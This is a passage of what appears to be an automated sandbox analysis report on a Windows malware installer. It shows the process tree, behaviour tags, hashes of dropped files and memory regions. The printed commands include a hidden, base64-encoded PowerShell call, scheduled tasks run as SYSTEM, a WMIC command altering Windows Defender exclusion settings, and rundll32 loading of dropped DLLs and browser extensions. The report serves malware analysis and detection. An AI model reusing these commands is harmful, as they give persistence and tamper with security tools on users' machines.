                                                                                                        schtasks /CREATE /TN "gMLAyRIKf" /SC once /ST 01:31:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                        2⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:4412
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "gMLAyRIKf"
                                                                                                        2⤵
                                                                                                          PID:3544
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /DELETE /F /TN "gMLAyRIKf"
                                                                                                          2⤵
                                                                                                            PID:3308
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "MWViHNuTpmRlpInKg" /SC once /ST 00:10:55 /RU "SYSTEM" /TR "\"C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exe\" Ci /Adsite_idbTs 385118 /S" /V1 /F
                                                                                                            2⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:3016
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "MWViHNuTpmRlpInKg"
                                                                                                            2⤵
                                                                                                              PID:332
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                            1⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3292
                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              2⤵
                                                                                                                PID:4740
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                              1⤵
                                                                                                                PID:2356
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                1⤵
                                                                                                                  PID:2384
                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:572
                                                                                                                  • C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exe
                                                                                                                    C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\daaPwtm.exe Ci /Adsite_idbTs 385118 /S
                                                                                                                    1⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Drops Chrome extension
                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:4600
                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                      schtasks /DELETE /F /TN "bpJjqbWMDOjxkYrvBb"
                                                                                                                      2⤵
                                                                                                                        PID:3736
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                        2⤵
                                                                                                                          PID:4852
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                            3⤵
                                                                                                                              PID:4304
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                4⤵
                                                                                                                                  PID:4580
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                    5⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:3608
                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                      6⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:2232
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\qBvbbKpBU\kLLbZH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wbeMFPOaxEodGIM" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:1480
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "wbeMFPOaxEodGIM2" /F /xml "C:\Program Files (x86)\qBvbbKpBU\DEqklWO.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:1200
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /END /TN "wbeMFPOaxEodGIM"
                                                                                                                              2⤵
                                                                                                                                PID:2724
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "wbeMFPOaxEodGIM"
                                                                                                                                2⤵
                                                                                                                                  PID:3244
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "ahmsGQGyepwQnm" /F /xml "C:\Program Files (x86)\fZHZowTYSgfU2\BaSMZgS.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4304
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "NOwjEMTwOUYCj2" /F /xml "C:\ProgramData\nxeoDZreGracWIVB\axofhyl.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:3760
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "ZeWhkVIxDswmIVkZF2" /F /xml "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\XvHXZAA.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1044
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "rhpwGKPBtZLjUbFdohf2" /F /xml "C:\Program Files (x86)\epUZFeichsCPC\GlGomVo.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1508
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "BinjFlxHFUMMGNOij" /SC once /ST 04:42:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll\",#1 /fgsite_idvFn 385118" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4632
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "BinjFlxHFUMMGNOij"
                                                                                                                                  2⤵
                                                                                                                                    PID:4280
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "MWViHNuTpmRlpInKg"
                                                                                                                                    2⤵
                                                                                                                                      PID:1784
                                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll",#1 /fgsite_idvFn 385118
                                                                                                                                    1⤵
                                                                                                                                      PID:4484
                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll",#1 /fgsite_idvFn 385118
                                                                                                                                        2⤵
                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:1868
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "BinjFlxHFUMMGNOij"
                                                                                                                                          3⤵
                                                                                                                                            PID:3080

                                                                                                                                      Network

                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                            Replay Monitor

                                                                                                                                            Loading Replay Monitor...

                                                                                                                                            Downloads

                                                                                                                                            • C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\XvHXZAA.xml

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              61b110d7a87941f20c659ab2fff5c9aa

                                                                                                                                              SHA1

                                                                                                                                              e20ee694720ac88d8fbbf3e0fd038b7d5f83e3fb

                                                                                                                                              SHA256

                                                                                                                                              c458181272e14db89829392a54e0834b3d180110894a9f93a6ab9acf9ef081a7

                                                                                                                                              SHA512

                                                                                                                                              6f0524a21263f46bf6f2c393ef138f5b3ea3427d28e34e21ab42fb193e4d391fc1f41c5a54d421be501f435e51dfdc59b8701551af29bf8e550d3c799ac6b69d

                                                                                                                                            • C:\Program Files (x86)\epUZFeichsCPC\GlGomVo.xml

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              a3b7f0642197e765896aa0d42966f2f6

                                                                                                                                              SHA1

                                                                                                                                              68660667165bb98d2e920919c74fbbd2c67badfe

                                                                                                                                              SHA256

                                                                                                                                              5722ed2910727cacee46108f3ab822fc0010de0f0a219762827f873427921129

                                                                                                                                              SHA512

                                                                                                                                              d9a281ce0c81dd567da7962605cdb8c67fe5f5f7781b38ec8f8aa79895c6880b63ed181e6b6348798cdbf7a4b9768ed88d550c0cb2335604035617b2c63ec4ed

                                                                                                                                            • C:\Program Files (x86)\fZHZowTYSgfU2\BaSMZgS.xml

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              eb17923a53eed35df36672f2c1844555

                                                                                                                                              SHA1

                                                                                                                                              fd8debccae2e7745692efb2de96b14f0f899cd24

                                                                                                                                              SHA256

                                                                                                                                              a2fbdb788efc05309395f74c9e11b7daf65dd88047f62d81640e73670f2b8388

                                                                                                                                              SHA512

                                                                                                                                              b047efa1c5a379a0f74a18b00d6f7d20cca3bb1e1af82e0c01fdac3f2bbb61791dd5882704f11844a8ca913bba8520f3d59364053aaa4b9a946b7952cc2f7506

                                                                                                                                            • C:\Program Files (x86)\qBvbbKpBU\DEqklWO.xml

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              765e2024faa60bc54d9903f7b64b7bfd

                                                                                                                                              SHA1

                                                                                                                                              22f0a25172b37e69a197abbcae0464d1614dd3ec

                                                                                                                                              SHA256

                                                                                                                                              05d12e0a126734b2d44eef3299083b2e3a7b8fa8649eb2d51b45a4cf3e938a70

                                                                                                                                              SHA512

                                                                                                                                              695c5914c741f7d5cd2c6f76b1ee4612175d047e4d7e99852b9d72fc11cadaa1cb1fc2568f1141c68d741f62d93a8a7825d1dde5b0255cd9741eed083c390537

                                                                                                                                            • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                              Filesize

                                                                                                                                              2.0MB

                                                                                                                                              MD5

                                                                                                                                              e7f61528160715bbe7e19895b32c9205

                                                                                                                                              SHA1

                                                                                                                                              bc213e90ecef28e4187b8adf814492e0724074fe

                                                                                                                                              SHA256

                                                                                                                                              524df25177fbe513322540e08e2afa2688935163ba509dd69c5d0496321eacca

                                                                                                                                              SHA512

                                                                                                                                              3ed20b1c1f79627be6176a1c78ab57e6a68efb61fd3d035547633e3d1fe4b38a44bf0a45aa141f6da6eb3ce4dbcc601ea8f86408b7f3f1433602b8318cc4789a

                                                                                                                                            • C:\ProgramData\nxeoDZreGracWIVB\axofhyl.xml

                                                                                                                                              Filesize

                                                                                                                                              2KB

                                                                                                                                              MD5

                                                                                                                                              6924335079ad40d54c79a1a13d2cffa9

                                                                                                                                              SHA1

                                                                                                                                              050ef2009bcb011347df11e9ec082e91e8d4d8bf

                                                                                                                                              SHA256

                                                                                                                                              8983c85a690312d93aebd7c343f7d36e6a9c338c98ce046fe6bef3ef4ebe5465

                                                                                                                                              SHA512

                                                                                                                                              512913e02bd69e132b259dc1f8e25aa86e18f5bd42d9a7995ef956bf0d9a76c50ed79371f98a5c2fb8f68da4f9a94821f5abc90e2f6977020904b2dd81b7fe68

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                              Filesize

                                                                                                                                              187B

                                                                                                                                              MD5

                                                                                                                                              2a1e12a4811892d95962998e184399d8

                                                                                                                                              SHA1

                                                                                                                                              55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                              SHA256

                                                                                                                                              32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                              SHA512

                                                                                                                                              bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                              Filesize

                                                                                                                                              136B

                                                                                                                                              MD5

                                                                                                                                              238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                              SHA1

                                                                                                                                              0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                              SHA256

                                                                                                                                              801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                              SHA512

                                                                                                                                              2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                              Filesize

                                                                                                                                              150B

                                                                                                                                              MD5

                                                                                                                                              0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                              SHA1

                                                                                                                                              6a51537cef82143d3d768759b21598542d683904

                                                                                                                                              SHA256

                                                                                                                                              0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                              SHA512

                                                                                                                                              5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                              Filesize

                                                                                                                                              10KB

                                                                                                                                              MD5

                                                                                                                                              1c843d2b6fb42c1f78dcc879c4a88d1c

                                                                                                                                              SHA1

                                                                                                                                              361c1b427924c75419b5b376db1f30bd9f90e4e1

                                                                                                                                              SHA256

                                                                                                                                              b5545875de3c9a044ae28a05088cf2b0b169731cacb157c0afcb74b14ad64990

                                                                                                                                              SHA512

                                                                                                                                              fcadcba87b2acf5be137ced5407ebd00ec97bd7620f2a38aef30e62593fd073d0fe40a8e985d1e0d9c69150b1df4d54844b05d1e3f9bb2c06eaf8a59c4be885e

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                              Filesize

                                                                                                                                              151B

                                                                                                                                              MD5

                                                                                                                                              bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                              SHA1

                                                                                                                                              9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                              SHA256

                                                                                                                                              b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                              SHA512

                                                                                                                                              3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                              Filesize

                                                                                                                                              8KB

                                                                                                                                              MD5

                                                                                                                                              2585369d1d195ddce33662fe9b117a77

                                                                                                                                              SHA1

                                                                                                                                              75c5d58b00fc070d799e0db347427469f51bd1ca

                                                                                                                                              SHA256

                                                                                                                                              8194c0b313fe0958ad8d6dc665ccc544563bde15383b33d12ebafc76dbd5ca1e

                                                                                                                                              SHA512

                                                                                                                                              4af1bfe6b4515950228031a08f9752bbbbd2d4b299ae1fa86b1f8fc6997f41da549cfc5bedb641743653251f7ccc2b751aff08c9ec7677d7d7b599d86c041e1f

                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              11KB

                                                                                                                                              MD5

                                                                                                                                              f6d2fe13a0be276e735ab427bccb8b5c

                                                                                                                                              SHA1

                                                                                                                                              083e760962aa083903cf938b2804a0ed36547bcf

                                                                                                                                              SHA256

                                                                                                                                              0f624158e4d69ed8e2cde71b45669c1c80725594d2ba0284555086a655fea236

                                                                                                                                              SHA512

                                                                                                                                              59cc899c45d5374486ba176a950624841be96799f83a6006ed6c9faef47d41bc54db1cc17f723f9e626383d3d60a4a682f076bc1077cabeaf9a25e8f2c7adda6

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS6A62.tmp\Install.exe

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                              MD5

                                                                                                                                              179fb197a3d7311375c9037091fc224c

                                                                                                                                              SHA1

                                                                                                                                              802c18d747c379acd9c9a1fcae6e29636b7bd224

                                                                                                                                              SHA256

                                                                                                                                              ff3ef3388be54902b91b3833f2abea5b31fe50f4b5f1cc8be06d6aca1b6683b9

                                                                                                                                              SHA512

                                                                                                                                              c2d30d078c1358fcbfa5079893ab21c745df2532deee61b84e3eec395efeded6769a73c3d961fbb7f71260a6303e0f9cf22f37111fb90e7b8d4e4fdbd0337317

                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kikhdbs.zad.ps1

                                                                                                                                              Filesize

                                                                                                                                              60B

                                                                                                                                              MD5

                                                                                                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                              SHA1

                                                                                                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                              SHA256

                                                                                                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                              SHA512

                                                                                                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\4lkuyr4n.default-release\prefs.js

                                                                                                                                              Filesize

                                                                                                                                              6KB

                                                                                                                                              MD5

                                                                                                                                              da2bbeb9f87d607f66095128a9dac4a1

                                                                                                                                              SHA1

                                                                                                                                              7a8624f8dfeb3471c2054c9fab490811fe2f80e8

                                                                                                                                              SHA256

                                                                                                                                              0f78a519bdfb3728556b4ab158699ab9ab931a98c38add232a97fef4dfee454e

                                                                                                                                              SHA512

                                                                                                                                              a4613eb7de12aec8ccf9034aaa6efd52bea234b2e82dd8c401deb3383d22079b7f57a0546ed0641c40824fef923dbbb7e9c8c01483bd6bfb201c9a200f3a10ca

                                                                                                                                            • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                              Filesize

                                                                                                                                              1KB

                                                                                                                                              MD5

                                                                                                                                              5b74da6778ccaa0e1ca4ae7484775943

                                                                                                                                              SHA1

                                                                                                                                              0a2f6f315a0ca1a0366b509aec7b13c606645654

                                                                                                                                              SHA256

                                                                                                                                              172282931d7eeb60228e6b9b4b913fd78c73f2a7855620f35fb24a5c847b6c78

                                                                                                                                              SHA512

                                                                                                                                              20b4cb7174f49b22426b249f1dfc8f6273f50d1502536e773f4dcd073bf027f2a554d2437c2dc628dbe021c5c3b968b2d89f810ff1bb19630c1560e7feee1a1a

                                                                                                                                            • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              11KB

                                                                                                                                              MD5

                                                                                                                                              99ef28dc80a273f4cd4339791ac82cbe

                                                                                                                                              SHA1

                                                                                                                                              a16291612bb45ef85df0f5e30a7d634994e42c3a

                                                                                                                                              SHA256

                                                                                                                                              e1fc9f5e320e537df35b605fabb89fd7da99433f1b72999a1d4d8205a0a287b1

                                                                                                                                              SHA512

                                                                                                                                              5697b10555c95482f7bc1c1f906688aed56d1dff01256f31b55b52062ac89bdfd13e3a8850af4ad37e3dc0b6efb39c1d077553a90d60e4f85dde1ac2595f5df9

                                                                                                                                            • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                              Filesize

                                                                                                                                              11KB

                                                                                                                                              MD5

                                                                                                                                              d155a78ca3dbb3a00a2b84767ccdd13d

                                                                                                                                              SHA1

                                                                                                                                              3a24163e7f933fdbc70b14c570e5286dc5ea038e

                                                                                                                                              SHA256

                                                                                                                                              f94ffffea37b4eacfb334e04fbe359c19198346ae3505e402b963f8acbf3a790

                                                                                                                                              SHA512

                                                                                                                                              91b561795b1c08af7de62e3d06ab58f2f89d901d167e0c5a12d799a2e8a4f0b86a58250ec36caf152ba51270c9453e07b1805db9a6597cc6dcd8c776efcdafe5

                                                                                                                                            • C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll

                                                                                                                                              Filesize

                                                                                                                                              6.4MB

                                                                                                                                              MD5

                                                                                                                                              44f3948cb32c3b8df1fca5ef30116aa0

                                                                                                                                              SHA1

                                                                                                                                              c674b72e1e1058d0e29d555abc09d40f0c7c8a0c

                                                                                                                                              SHA256

                                                                                                                                              12cd48a7e59081b04ad77863bdfc946ecaeccede9368f6410e05c80ee526a0fe

                                                                                                                                              SHA512

                                                                                                                                              09d5de6251c88e853132bc8455f2da4d4922a9059778c5103652da3420cd7f98de983f6e3e9ebbe201bd520ac6dbff4cc95b7f01cf6ea335b05671f99649b5b0

                                                                                                                                            • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                              Filesize

                                                                                                                                              5KB

                                                                                                                                              MD5

                                                                                                                                              076dee9a0e7f704f50435a860ef61ffc

                                                                                                                                              SHA1

                                                                                                                                              71bfb3f8905b3c81698ce82e5fe37097dd9b9d7c

                                                                                                                                              SHA256

                                                                                                                                              153089f4c44b875138ca8d7bbfe3fc6817173c18afa9c44391aad496957c29de

                                                                                                                                              SHA512

                                                                                                                                              f494671a802d512087f3c814f581e986f884d83605f642fbf9493d3ca39ce3005436bd25990085dd4e2e2b3a506765f3ef453f8e4a50b686c4cea14b9208ccc6

                                                                                                                                            • memory/1204-48-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/1204-47-0x0000000000E60000-0x000000000151A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/1204-98-0x0000000000E60000-0x000000000151A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/1204-105-0x0000000000E60000-0x000000000151A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/1396-65-0x0000000072E20000-0x00000000735D1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/1396-58-0x0000000004510000-0x0000000004867000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/1396-52-0x00000000035B0000-0x00000000035C0000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/1396-62-0x0000000004F90000-0x0000000004FDC000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                            • memory/1396-51-0x0000000072E20000-0x00000000735D1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/1868-521-0x0000000002CD0000-0x000000000781C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/3160-580-0x00000000008A0000-0x0000000000F5A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3160-45-0x00000000008A0000-0x0000000000F5A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3160-17-0x0000000010000000-0x0000000014B4C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              75.3MB

                                                                                                                                            • memory/3160-16-0x00000000008A0000-0x0000000000F5A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/3292-88-0x00007FFC60180000-0x00007FFC60C42000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/3292-90-0x000002567AC70000-0x000002567AC80000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3292-97-0x00007FFC60180000-0x00007FFC60C42000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              10.8MB

                                                                                                                                            • memory/3292-91-0x000002567AC70000-0x000002567AC80000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3292-89-0x000002567ADA0000-0x000002567ADC2000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              136KB

                                                                                                                                            • memory/3608-122-0x0000000001420000-0x0000000001430000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3608-117-0x0000000072D30000-0x00000000734E1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/3608-120-0x0000000001420000-0x0000000001430000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/3608-131-0x00000000047B0000-0x0000000004B07000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              3.3MB

                                                                                                                                            • memory/3608-162-0x0000000004E30000-0x0000000004E7C000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              304KB

                                                                                                                                            • memory/3608-166-0x0000000072D30000-0x00000000734E1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/4164-68-0x0000000003F70000-0x0000000003F80000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              64KB

                                                                                                                                            • memory/4164-67-0x0000000072E20000-0x00000000735D1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/4164-79-0x0000000072E20000-0x00000000735D1000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              7.7MB

                                                                                                                                            • memory/4600-506-0x0000000003870000-0x00000000038FA000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              552KB

                                                                                                                                            • memory/4600-103-0x00000000004D0000-0x0000000000B8A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/4600-593-0x00000000004D0000-0x0000000000B8A000-memory.dmp

                                                                                                                                              Filesize

                                                                                                                                              6.7MB

                                                                                                                                            • memory/4600-104-0x0000000010000000-0x0000000014B4C000-memory.dmp

